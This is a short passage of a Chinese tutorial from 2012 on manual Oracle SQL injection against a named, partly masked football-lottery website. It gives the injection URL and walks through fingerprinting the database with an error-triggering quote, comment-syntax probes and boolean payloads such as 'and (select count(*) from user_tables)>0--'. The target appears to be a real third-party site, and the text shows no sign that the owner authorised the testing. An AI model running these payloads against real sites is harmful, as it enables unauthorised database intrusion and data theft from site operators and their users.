手工Oracle注入某足彩在线网站(1) |
| 发布时间: 2012/7/7 11:22:56 |
|
某足彩在线网站是一个大型的足彩站点,在其中存在着注入点,链接如下:http://www.****china.com/jst/md_end.jsp?id=76,以该注入点为例,讲解如何进行Oracle手工注入攻击检测。
判断注入点 在链接地址后加上单引号,返回信息"java.sql.SQLException: ORA-01756",可初步判断为Oracle的数据库。 在链接后添加提交"/*",返回错误页面,说明数据库不是MySQL的。继续在注入点链接后添加"--",显示正常页面,说明数据库可能为MSSQL和Oracle。再提交: http://www.****china.com/jst/md_end.jsp?id=76 and (select count (*) from user_tables)>0-- http://www.****china.com/jst/md_end.jsp?id=76 and (select count (*) from dual)>0-- 都返回正常页面(图1),确认为Oracle的数据库。 图1 确认Oracle注入 本文出自:亿恩科技【www.enkj.com】 |
京公网安备41019702002023号